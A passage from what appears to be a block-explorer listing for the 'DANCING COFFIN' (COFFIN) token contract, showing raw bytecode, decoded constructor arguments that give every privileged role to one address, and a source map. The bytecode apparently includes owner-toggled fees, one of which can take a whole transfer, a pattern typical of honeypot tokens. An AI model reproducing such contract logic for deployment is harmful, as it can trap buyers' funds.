f80516020612216833981519152906114dc9085815260200190565b60405180910390a360019350505050610b69565b5f81848411156115135760405162461bcd60e51b8152600401610ace9190611e45565b505f61151f8486612095565b95945050505050565b5f610b6983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506114f0565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f9081526006909152918220546115b99184906114f0565b6001600160a01b038086165f9081526006602052604080822093909355908516815220546115e79083610ffc565b6001600160a01b038085165f8181526006602052604090819020939093559151908616905f80516020612216833981519152906116279086815260200190565b60405180910390a35060019392505050565b6025805460ff60a01b1916600160a01b1790556017546014545f9161166e916002916116689182908790611a56565b90611ad4565b90505f61167b8383611528565b905061168681611b15565b60145447905f906116a59061169c906002611ad4565b60175490611528565b90505f6116c660026116688461166860145488611a5690919063ffffffff16565b90505f6116e28361166860165487611a5690919063ffffffff16565b90505f6116f9826116f38786611528565b90611528565b9050801561171c5760035461171c9061010090046001600160a01b031682611c9e565b811561173857600454611738906001600160a01b031683611c9e565b5f8311801561174657505f87115b15611755576117558784611cd6565b50506025805460ff60a01b19169055505050505050565b6001600160a01b0383165f908152600b602052604081205481908190819060ff16156117fe576117b860646116686117b1600f5460185461152890919063ffffffff16565b8890611a56565b92505f600f541180156117ce5750601b54601a54105b156117f9576117ed6064611668600f5488611a5690919063ffffffff16565b91506117f98783611d86565b6118b3565b6001600160a01b0386165f908152600b602052604090205460ff16156118b357602154600160a01b900460ff16151560010361185b576118546103e86116686117b160135460195461152890919063ffffffff16565b9250611874565b602154600160a01b900460ff1615155f03611874578492505b5f6013541180156118885750601b54601a54105b156118b3576118a7606461166860135488611a5690919063ffffffff16565b91506118b38783611d86565b6001600160a01b0387165f908152600b602052604090205460ff16806118f057506001600160a01b0386165f908152600b602052604090205460ff165b156119ce57602054156119ce575f805b6020548110156119bb57604080516020810183905290810188905242606082015260800160408051601f1981840301815291815281516020928301206001600160a01b0381165f9081526006909352912054909250611960906001610ffc565b6001600160a01b038084165f8181526006602052604090819020939093559151908b16905f80516020612216833981519152906119a1906001815260200190565b60405180910390a3806119b3816120a8565b915050611900565b506020546119ca9060016120c0565b9150505b8215611a3357305f908152600660205260409020546119ed9084610ffc565b305f81815260066020526040908190209290925590516001600160a01b038916905f8051602061221683398151915290611a2a9087815260200190565b60405180910390a35b611a4b611a4482610af98686610ffc565b8690611528565b979650505050505050565b5f825f03611a6557505f610a9f565b5f611a7083856120c0565b905082611a7d85836120d7565b14610b695760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610ace565b5f610b6983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e19565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611b4857611b486120f6565b6001600160a01b03928316602091820292909201810191909152602454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611b9f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611bc3919061210a565b81600181518110611bd657611bd66120f6565b6001600160a01b039283166020918202929092010152602454611bfc9130911684610ed9565b60245460405163791ac94760e01b81526001600160a01b039091169063791ac94790611c349085905f90869030904290600401612167565b5f604051808303815f87803b158015611c4b575f80fd5b505af1158015611c5d573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051611c929291906121a2565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083905f818181858888f19350505050158015611cd1573d5f803e3d5ffd5b505050565b602454611cee9030906001600160a01b031684610ed9565b6024805460215460405163f305d71960e01b81523060048201529283018590525f6044840181905260648401526001600160a01b0390811660848401524260a4840152169063f305d71990839060c40160606040518083038185885af1158015611d5a573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611d7f91906121c2565b5050505050565b601b54601a5410611d95575050565b6005546001600160a01b03165f90815260066020526040902054611db99082610ffc565b6005546001600160a01b03165f90815260066020526040902055601a54611de09082610ffc565b601a556005546040518281526001600160a01b03918216918416905f805160206122168339815191529060200160405180910390a35050565b5f8183611e395760405162461bcd60e51b8152600401610ace9190611e45565b505f61151f84866120d7565b5f6020808352835180828501525f5b81811015611e7057858101830151858201604001528201611e54565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611ea4575f80fd5b50565b5f8060408385031215611eb8575f80fd5b8235611ec381611e90565b946020939093013593505050565b5f805f60608486031215611ee3575f80fd5b505081359360208301359350604090920135919050565b5f805f60608486031215611f0c575f80fd5b8335611f1781611e90565b92506020840135611f2781611e90565b929592945050506040919091013590565b5f60208284031215611f48575f80fd5b5035919050565b5f60208284031215611f5f575f80fd5b8135610b6981611e90565b80358015158114611f79575f80fd5b919050565b5f8060408385031215611f8f575f80fd5b8235611f9a81611e90565b9150611fa860208401611f6a565b90509250929050565b5f60208284031215611fc1575f80fd5b610b6982611f6a565b5f8060408385031215611fdb575f80fd5b8235611fe681611e90565b91506020830135611ff681611e90565b809150509250929050565b600181811c9082168061201557607f821691505b60208210810361203357634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820180821115610a9f57610a9f61206e565b81810381811115610a9f57610a9f61206e565b5f600182016120b9576120b961206e565b5060010190565b8082028115828204841417610a9f57610a9f61206e565b5f826120f157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561211a575f80fd5b8151610b6981611e90565b5f8151808452602080850194508084015f5b8381101561215c5781516001600160a01b031687529582019590820190600101612137565b509495945050505050565b85815284602082015260a060408201525f61218560a0830186612125565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f6121ba6040830184612125565b949350505050565b5f805f606084860312156121d4575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122049cb1e4787d6e036bdf667e96bdaaf7ced6814fc632c658b208ea90ceddf31a664736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000016000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000001029c123000000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f60000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f60000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f60000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f6000000000000000000000000000000000000000000000000000000000000000e44414e43494e4720434f4646494e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006434f4646494e0000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : coinName (string): DANCING COFFIN
Arg [1] : coinSymbol (string): COFFIN
Arg [2] : coinDecimals (uint8): 18
Arg [3] : supply (uint256): 69420000000
Arg [4] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [5] : owner (address): 0x2AD7cC1C612AE411E43bb85227681A2C1E4a70F6
Arg [6] : marketingAddress (address): 0x2AD7cC1C612AE411E43bb85227681A2C1E4a70F6
Arg [7] : teamAddress (address): 0x2AD7cC1C612AE411E43bb85227681A2C1E4a70F6
Arg [8] : service (address): 0x2AD7cC1C612AE411E43bb85227681A2C1E4a70F6

-----Encoded View---------------
13 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000120
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000160
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000012
Arg [3] : 0000000000000000000000000000000000000000000000000000001029c12300
Arg [4] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [5] : 0000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f6
Arg [6] : 0000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f6
Arg [7] : 0000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f6
Arg [8] : 0000000000000000000000002ad7cc1c612ae411e43bb85227681a2c1e4a70f6
Arg [9] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [10] : 44414e43494e4720434f4646494e000000000000000000000000000000000000
Arg [11] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [12] : 434f4646494e0000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8148:14976:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12674:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13969:161;;;;;;;;;;-1:-1:-1;13969:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13969:161:0;1023:187:1;8413:40:0;;;;;;;;;;-1:-1:-1;8413:40:0;;;;-1:-1:-1;;;;;8413:40:0;;;;;;-1:-1:-1;;;;;1395:32:1;;;1377:51;;1365:2;1350:18;8413:40:0;1215:219:1;9864:41:0;;;;;;;;;;-1:-1:-1;9864:41:0;;;;-1:-1:-1;;;;;9864:41:0;;;12951:100;;;;;;;;;;-1:-1:-1;13031:12:0;;12951:100;;;1819:25:1;;;1807:2;1792:18;12951:100:0;1673:177:1;14620:353:0;;;;;;;;;;-1:-1:-1;14620:353:0;;;;;:::i;:::-;;:::i;:::-;;15967:313;;;;;;;;;;-1:-1:-1;15967:313:0;;;;;:::i;:::-;;:::i;8460:71::-;;;;;;;;;;-1:-1:-1;8460:71:0;;;;-1:-1:-1;;;;;8460:71:0;;;9175:34;;;;;;;;;;;;;;;;15428:128;;;;;;;;;;;;;:::i;12860:83::-;;;;;;;;;;-1:-1:-1;12926:9:0;;12860:83;;12926:9;;;;2987:36:1;;2975:2;2960:18;12860:83:0;2845:184:1;9009:33:0;;;;;;;;;;;;;;;;13337:218;;;;;;;;;;-1:-1:-1;13337:218:0;;;;;:::i;:::-;;:::i;14981:125::-;;;;;;;;;;-1:-1:-1;14981:125:0;;;;;:::i;:::-;;:::i;9803:20::-;;;;;;;;;;;;;;;;8834:45;;;;;;;;;;-1:-1:-1;8834:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9830:23;;;;;;;;;;;;;;;;9975:40;;;;;;;;;;-1:-1:-1;9975:40:0;;;;-1:-1:-1;;;9975:40:0;;;;;;8663:50;;;;;;;;;;-1:-1:-1;8663:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6309:90;;;;;;;;;;-1:-1:-1;6376:15:0;6309:90;;9218:34;;;;;;;;;;;;;;;;9259;;;;;;;;;;;;;;;;5901:148;;;;;;;;;;;;;:::i;13059:119::-;;;;;;;;;;-1:-1:-1;13059:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;13152:18:0;13125:7;13152:18;;;:9;:18;;;;;;;13059:119;9583:27;;;;;;;;;;;;;;;;9617:25;;;;;;;;;;;;;;;;9431:37;;;;;;;;;;;;;;;;14483:129;;;;;;;;;;-1:-1:-1;14483:129:0;;;;;:::i;:::-;;:::i;9051:36::-;;;;;;;;;;;;;;;;8779:48;;;;;;;;;;-1:-1:-1;8779:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5687:79;;;;;;;;;;-1:-1:-1;5725:7:0;5752:6;-1:-1:-1;;;;;5752:6:0;5687:79;;12765:87;;;;;;;;;;;;;:::i;9509:32::-;;;;;;;;;;;;;;;;13840:121;;;;;;;;;;-1:-1:-1;13929:24:0;;13840:121;;9336:43;;;;;;;;;;;;;;;;13563:269;;;;;;;;;;-1:-1:-1;13563:269:0;;;;;:::i;:::-;;:::i;15293:125::-;;;;;;;;;;-1:-1:-1;15293:125:0;;;;;:::i;:::-;;:::i;9300:29::-;;;;;;;;;;;;;;;;15792:167;;;;;;;;;;-1:-1:-1;15792:167:0;;;;;:::i;:::-;;:::i;5563:21::-;;;;;;;;;;-1:-1:-1;5563:21:0;;;;-1:-1:-1;;;;;5563:21:0;;;8972:30;;;;;;;;;;;;;;;;15114:171;;;;;;;;;;-1:-1:-1;15114:171:0;;;;;:::i;:::-;;:::i;8930:35::-;;;;;;;;;;;;;;;;9912:26;;;;;;;;;;-1:-1:-1;9912:26:0;;;;-1:-1:-1;;;;;9912:26:0;;;9094:36;;;;;;;;;;;;;;;;8720:52;;;;;;;;;;-1:-1:-1;8720:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9137:31;;;;;;;;;;;;;;;;8361:45;;;;;;;;;;-1:-1:-1;8361:45:0;;;;;;;-1:-1:-1;;;;;8361:45:0;;;10022;;;;;;;;;;-1:-1:-1;10022:45:0;;;;-1:-1:-1;;;10022:45:0;;;;;;8888:35;;;;;;;;;;;;;;;;13186:143;;;;;;;;;;-1:-1:-1;13186:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13294:18:0;;;13267:7;13294:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;13186:143;9700:27;;;;;;;;;;;;;;;;9388:36;;;;;;;;;;;;;;;;6057:244;;;;;;;;;;-1:-1:-1;6057:244:0;;;;;:::i;:::-;;:::i;10074:35::-;;;;;;;;;;-1:-1:-1;10074:35:0;;;;-1:-1:-1;;;10074:35:0;;;;;;23045:74;;;;;;;;;;;;23098:5;:13;;-1:-1:-1;;;;23098:13:0;;;23045:74;9477:25;;;;;;;;;;;;;;;;12674:83;12711:13;12744:5;12737:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12674:83;:::o;13969:161::-;14044:4;14061:39;307:10;14084:7;14093:6;14061:8;:39::i;:::-;-1:-1:-1;14118:4:0;13969:161;;;;;:::o;14620:353::-;5814:6;;-1:-1:-1;;;;;5814:6:0;307:10;5814:22;5806:67;;;;-1:-1:-1;;;5806:67:0;;;;;;;:::i;:::-;;;;;;;;;14743:16:::1;:34:::0;;;14788:16:::1;:34:::0;;;14833:11:::1;:24:::0;;;14950:14:::1;::::0;14890:75:::1;::::0;:55:::1;14847:10:::0;14890:55;14762:15;14807;14890:20:::1;:38::i;:::-;:42:::0;::::1;:55::i;:75::-;14870:17;:95:::0;-1:-1:-1;;;14620:353:0:o;15967:313::-;16065:4;16082:36;16092:6;16100:9;16111:6;16082:9;:36::i;:::-;-1:-1:-1;16129:121:0;16138:6;307:10;16160:89;16198:6;16160:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;16160:19:0;;;;;;:11;:19;;;;;;;;307:10;16160:33;;;;;;;;;;:37;:89::i;:::-;16129:8;:121::i;:::-;-1:-1:-1;16268:4:0;15967:313;;;;;;:::o;15428:128::-;15535:11;;-1:-1:-1;;;;;15535:11:0;15481:7;13152:18;;;:9;:18;;;;;;15508:12;;:40;;:16;:40::i;:::-;15501:47;;15428:128;:::o;13337:218::-;307:10;13425:4;13474:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;13474:34:0;;;;;;;;;;13425:4;;13442:83;;13465:7;;13474:50;;13513:10;13474:38;:50::i;14981:125::-;5814:6;;-1:-1:-1;;;;;5814:6:0;307:10;5814:22;5806:67;;;;-1:-1:-1;;;5806:67:0;;;;;;;:::i;:::-;15063:24:::1;:35:::0;14981:125::o;5901:148::-;5814:6;;-1:-1:-1;;;;;5814:6:0;307:10;5814:22;5806:67;;;;-1:-1:-1;;;5806:67:0;;;;;;;:::i;:::-;6008:1:::1;5992:6:::0;;5971:40:::1;::::0;-1:-1:-1;;;;;5992:6:0;;::::1;::::0;5971:40:::1;::::0;6008:1;;5971:40:::1;6039:1;6022:19:::0;;-1:-1:-1;;;;;;6022:19:0::1;::::0;;5901:148::o;14483:129::-;5814:6;;-1:-1:-1;;;;;5814:6:0;307:10;5814:22;5806:67;;;;-1:-1:-1;;;5806:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;14572:21:0;;;::::1;;::::0;;;:12:::1;:21;::::0;;;;:32;;-1:-1:-1;;14572:32:0::1;::::0;::::1;;::::0;;;::::1;::::0;;14483:129::o;12765:87::-;12804:13;12837:7;12830:14;;;;;:::i;13563:269::-;13656:4;13673:129;307:10;13696:7;13705:96;13744:15;13705:96;;;;;;;;;;;;;;;;;307:10;13705:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;13705:34:0;;;;;;;;;;;;:38;:96::i;15293:125::-;5814:6;;-1:-1:-1;;;;;5814:6:0;307:10;5814:22;5806:67;;;;-1:-1:-1;;;5806:67:0;;;;;;;:::i;:::-;15374:25:::1;:36:::0;;;::::1;;-1:-1:-1::0;;;15374:36:0::1;-1:-1:-1::0;;;;15374:36:0;;::::1;::::0;;;::::1;::::0;;15293:125::o;15792:167::-;15870:4;15887:42;307:10;15911:9;15922:6;15887:9;:42::i;15114:171::-;5814:6;;-1:-1:-1;;;;;5814:6:0;307:10;5814:22;5806:67;;;;-1:-1:-1;;;5806:67:0;;;;;;;:::i;:::-;15191:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;15191:32:0::1;-1:-1:-1::0;;;;15191:32:0;;::::1;;::::0;;15239:38:::1;::::0;::::1;::::0;::::1;::::0;15215:8;1188:14:1;1181:22;1163:41;;1151:2;1136:18;;1023:187;15239:38:0::1;;;;;;;;15114:171:::0;:::o;6057:244::-;5814:6;;-1:-1:-1;;;;;5814:6:0;307:10;5814:22;5806:67;;;;-1:-1:-1;;;5806:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6146:22:0;::::1;6138:73;;;::::0;-1:-1:-1;;;6138:73:0;;5482:2:1;6138:73:0::1;::::0;::::1;5464:21:1::0;5521:2;5501:18;;;5494:30;5560:34;5540:18;;;5533:62;-1:-1:-1;;;5611:18:1;;;5604:36;5657:19;;6138:73:0::1;5280:402:1::0;6138:73:0::1;6248:6;::::0;;6227:38:::1;::::0;-1:-1:-1;;;;;6227:38:0;;::::1;::::0;6248:6;::::1;::::0;6227:38:::1;::::0;::::1;6276:6;:17:::0;;-1:-1:-1;;;;;;6276:17:0::1;-1:-1:-1::0;;;;;6276:17:0;;;::::1;::::0;;;::::1;::::0;;6057:244::o;14138:337::-;-1:-1:-1;;;;;14231:19:0;;14223:68;;;;-1:-1:-1;;;14223:68:0;;5889:2:1;14223:68:0;;;5871:21:1;5928:2;5908:18;;;5901:30;5967:34;5947:18;;;5940:62;-1:-1:-1;;;6018:18:1;;;6011:34;6062:19;;14223:68:0;5687:400:1;14223:68:0;-1:-1:-1;;;;;14310:21:0;;14302:68;;;;-1:-1:-1;;;14302:68:0;;6294:2:1;14302:68:0;;;6276:21:1;6333:2;6313:18;;;6306:30;6372:34;6352:18;;;6345:62;-1:-1:-1;;;6423:18:1;;;6416:32;6465:19;;14302:68:0;6092:398:1;14302:68:0;-1:-1:-1;;;;;14383:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14435:32;;1819:25:1;;;14435:32:0;;1792:18:1;14435:32:0;;;;;;;14138:337;;;:::o;1300:181::-;1358:7;;1390:5;1394:1;1390;:5;:::i;:::-;1378:17;;1419:1;1414;:6;;1406:46;;;;-1:-1:-1;;;1406:46:0;;6959:2:1;1406:46:0;;;6941:21:1;6998:2;6978:18;;;6971:30;7037:29;7017:18;;;7010:57;7084:18;;1406:46:0;6757:351:1;16288:2023:0;16375:4;-1:-1:-1;;;;;16402:20:0;;16394:70;;;;-1:-1:-1;;;16394:70:0;;7315:2:1;16394:70:0;;;7297:21:1;7354:2;7334:18;;;7327:30;7393:34;7373:18;;;7366:62;-1:-1:-1;;;7444:18:1;;;7437:35;7489:19;;16394:70:0;7113:401:1;16394:70:0;-1:-1:-1;;;;;16483:23:0;;16475:71;;;;-1:-1:-1;;;16475:71:0;;7721:2:1;16475:71:0;;;7703:21:1;7760:2;7740:18;;;7733:30;7799:34;7779:18;;;7772:62;-1:-1:-1;;;7850:18:1;;;7843:33;7893:19;;16475:71:0;7519:399:1;16475:71:0;16574:1;16565:6;:10;16557:64;;;;-1:-1:-1;;;16557:64:0;;8125:2:1;16557:64:0;;;8107:21:1;8164:2;8144:18;;;8137:30;8203:34;8183:18;;;8176:62;-1:-1:-1;;;8254:18:1;;;8247:39;8303:19;;16557:64:0;7923:405:1;16557:64:0;16650:11;;-1:-1:-1;;;;;16637:24:0;;;16650:11;;16637:24;:64;;;;-1:-1:-1;16683:11:0;;-1:-1:-1;;;;;16683:11:0;13125:7;13152:18;;;:9;:18;;;;;;16665:36;16637:64;16634:115;;;16725:12;16717:5;:20;16634:115;16772:11;;-1:-1:-1;;;;;16762:21:0;;;16772:11;;16762:21;:52;;;;;16810:4;;16802:5;;:12;;;;:::i;:::-;16787;:27;16762:52;16759:136;;;16860:14;;16837:46;;16852:6;;-1:-1:-1;;;;;16860:14:0;16876:6;16837:14;:46::i;:::-;16830:53;;;;16759:136;16908:16;;-1:-1:-1;;;16908:16:0;;;;16905:1399;;;16957:41;16972:6;16980:9;16991:6;16957:14;:41::i;16905:1399::-;-1:-1:-1;;;;;17053:23:0;;;;;;:15;:23;;;;;;;;17052:24;:55;;;;-1:-1:-1;;;;;;17081:26:0;;;;;;:15;:26;;;;;;;;17080:27;17052:55;17049:170;;;17146:12;;17136:6;:22;;17128:75;;;;-1:-1:-1;;;17128:75:0;;8535:2:1;17128:75:0;;;8517:21:1;8574:2;8554:18;;;8547:30;8613:34;8593:18;;;8586:62;-1:-1:-1;;;8664:18:1;;;8657:38;8712:19;;17128:75:0;8333:404:1;17128:75:0;17284:4;17235:28;13152:18;;;:9;:18;;;;;;17360:24;;17336:48;;;;;;;17405:44;;-1:-1:-1;17433:16:0;;-1:-1:-1;;;17433:16:0;;;;17432:17;17405:44;:69;;;;-1:-1:-1;;;;;;17454:20:0;;;;;;:12;:20;;;;;;;;17453:21;17405:69;:94;;;;-1:-1:-1;17478:21:0;;-1:-1:-1;;;17478:21:0;;;;17405:94;17401:301;;;17536:25;;-1:-1:-1;;;17536:25:0;;;;17533:98;;;17607:24;;17584:47;;17533:98;17650:36;17665:20;17650:14;:36::i;:::-;17738:53;;;;;;;;;;;-1:-1:-1;;;17738:53:0;;;;;;;;-1:-1:-1;;;;;17738:17:0;;-1:-1:-1;17738:17:0;;;:9;:17;;;;;;;;:53;;17760:6;;17738:21;:53::i;:::-;-1:-1:-1;;;;;17718:17:0;;;;;;:9;:17;;;;;;;;:73;;;;17831:17;:25;;;;;;;;;:57;;-1:-1:-1;;;;;;17860:28:0;;;;;;:17;:28;;;;;;;;17831:57;17830:147;;17943:34;17951:6;17959:9;17970:6;17943:7;:34::i;:::-;17830:147;;;17934:6;17830:147;17997:16;;17808:169;;-1:-1:-1;;;;17997:16:0;;;;:51;;;;-1:-1:-1;;;;;;18018:30:0;;;;;;:19;:30;;;;;;;;18017:31;17997:51;17994:133;;;18116:10;;18075:37;18100:11;18075:20;18085:9;-1:-1:-1;;;;;13152:18:0;13125:7;13152:18;;;:9;:18;;;;;;;13059:119;18075:37;:51;;18067:60;;;;;;-1:-1:-1;;;;;18167:20:0;;;;;;:9;:20;;;;;;:37;;18192:11;18167:24;:37::i;:::-;-1:-1:-1;;;;;18144:20:0;;;;;;;:9;:20;;;;;;;:60;;;;18226:40;;;;;;-1:-1:-1;;;;;;;;;;;18226:40:0;;;18254:11;1819:25:1;;1807:2;1792:18;;1673:177;18226:40:0;;;;;;;;18288:4;18281:11;;;;;;;1633:192;1719:7;1755:12;1747:6;;;;1739:29;;;;-1:-1:-1;;;1739:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1779:9:0;1791:5;1795:1;1791;:5;:::i;:::-;1779:17;1633:192;-1:-1:-1;;;;;1633:192:0:o;1489:136::-;1547:7;1574:43;1578:1;1581;1574:43;;;;;;;;;;;;;;;;;:3;:43::i;18319:330::-;18449:53;;;;;;;;;;;-1:-1:-1;;;18449:53:0;;;;;;;;-1:-1:-1;;;;;18449:17:0;;18412:4;18449:17;;;:9;:17;;;;;;;:53;;18471:6;;18449:21;:53::i;:::-;-1:-1:-1;;;;;18429:17:0;;;;;;;:9;:17;;;;;;:73;;;;18536:20;;;;;;;:32;;18561:6;18536:24;:32::i;:::-;-1:-1:-1;;;;;18513:20:0;;;;;;;:9;:20;;;;;;;:55;;;;18584:35;;;;;;-1:-1:-1;;;;;;;;;;;18584:35:0;;;18612:6;1819:25:1;;1807:2;1792:18;;1673:177;18584:35:0;;;;;;;;-1:-1:-1;18637:4:0;18319:330;;;;;:::o;18657:1032::-;10520:16;:23;;-1:-1:-1;;;;10520:23:0;-1:-1:-1;;;10520:23:0;;;18786:24:::1;::::0;10520:16;18765:15;10520:23;;18753:65:::1;::::0;18816:1:::1;::::0;18753:58:::1;::::0;;;:7;;:11:::1;:28::i;:::-;:32:::0;::::1;:58::i;:65::-;18731:87:::0;-1:-1:-1;18829:21:0::1;18853:24;:7:::0;18731:87;18853:11:::1;:24::i;:::-;18829:48;;18890:31;18907:13;18890:16;:31::i;:::-;19042:15;::::0;18957:21:::1;::::0;18932:22:::1;::::0;19013:52:::1;::::0;19042:22:::1;::::0;19062:1:::1;19042:19;:22::i;:::-;19013:24;::::0;;:28:::1;:52::i;:::-;18991:74;;19078:26;19107:59;19164:1;19107:52;19147:11;19107:35;19126:15;;19107:14;:18;;:35;;;;:::i;:59::-;19078:88;;19177:21;19201:47;19236:11;19201:30;19220:10;;19201:14;:18;;:30;;;;:::i;:47::-;19177:71:::0;-1:-1:-1;19259:26:0::1;19288:57;19177:71:::0;19288:38:::1;:14:::0;19307:18;19288::::1;:38::i;:::-;:42:::0;::::1;:57::i;:::-;19259:86:::0;-1:-1:-1;19361:22:0;;19358:104:::1;;19419:22;::::0;19398:64:::1;::::0;19419:22:::1;::::0;::::1;-1:-1:-1::0;;;;;19419:22:0::1;19443:18:::0;19398:20:::1;:64::i;:::-;19478:17:::0;;19475:89:::1;;19531:17;::::0;19510:54:::1;::::0;-1:-1:-1;;;;;19531:17:0::1;19550:13:::0;19510:20:::1;:54::i;:::-;19601:1;19580:18;:22;:41;;;;;19620:1;19606:11;:15;19580:41;19577:104;;;19636:45;19649:11;19662:18;19636:12;:45::i;:::-;-1:-1:-1::0;;10566:16:0;:24;;-1:-1:-1;;;;10566:24:0;;;-1:-1:-1;;;;;;18657:1032:0:o;20891:1817::-;-1:-1:-1;;;;;21103:20:0;;20977:7;21103:20;;;:12;:20;;;;;;20977:7;;;;;;21103:20;;21100:833;;;21152:58;21206:3;21152:49;21163:37;21185:14;;21163:17;;:21;;:37;;;;:::i;:::-;21152:6;;:10;:49::i;:58::-;21140:70;;21245:1;21228:14;;:18;:52;;;;;21263:17;;21250:10;;:30;21228:52;21225:188;;;21314:35;21345:3;21314:26;21325:14;;21314:6;:10;;:26;;;;:::i;:35::-;21301:48;;21368:29;21379:6;21386:10;21368;:29::i;:::-;21100:833;;;-1:-1:-1;;;;;21442:23:0;;;;;;:12;:23;;;;;;;;21439:494;;;21485:5;;-1:-1:-1;;;21485:5:0;;;;:13;;21494:4;21485:13;21482:236;;21541:61;21597:4;21541:51;21552:39;21575:15;;21552:18;;:22;;:39;;;;:::i;21541:61::-;21529:73;;21482:236;;;21640:5;;-1:-1:-1;;;21640:5:0;;;;:14;;21649:5;21640:14;21637:81;;21696:6;21684:18;;21637:81;21753:1;21735:15;;:19;:53;;;;;21771:17;;21758:10;;:30;21735:53;21732:190;;;21822:36;21854:3;21822:27;21833:15;;21822:6;:10;;:27;;;;:::i;:36::-;21809:49;;21877:29;21888:6;21895:10;21877;:29::i;:::-;-1:-1:-1;;;;;21948:20:0;;;;;;:12;:20;;;;;;;;;:47;;-1:-1:-1;;;;;;21972:23:0;;;;;;:12;:23;;;;;;;;21948:47;21945:495;;;22015:12;;:16;22011:418;;22051:10;;22080:283;22104:12;;22100:1;:16;22080:283;;;22185:44;;;;;;9060:19:1;;;9095:12;;;9088:28;;;22213:15:0;9132:12:1;;;9125:28;9169:12;;22185:44:0;;;-1:-1:-1;;22185:44:0;;;;;;;;;22175:55;;22185:44;22175:55;;;;-1:-1:-1;;;;;22272:13:0;;22167:64;22272:13;;;:9;:13;;;;;;22175:55;;-1:-1:-1;22272:20:0;;22290:1;22272:17;:20::i;:::-;-1:-1:-1;;;;;22256:13:0;;;;;;;:9;:13;;;;;;;:36;;;;22320:23;;;;;;-1:-1:-1;;;;;;;;;;;22320:23:0;;;22341:1;1819:25:1;;1807:2;1792:18;;1673:177;22320:23:0;;;;;;;;22118:3;;;;:::i;:::-;;;;22080:283;;;-1:-1:-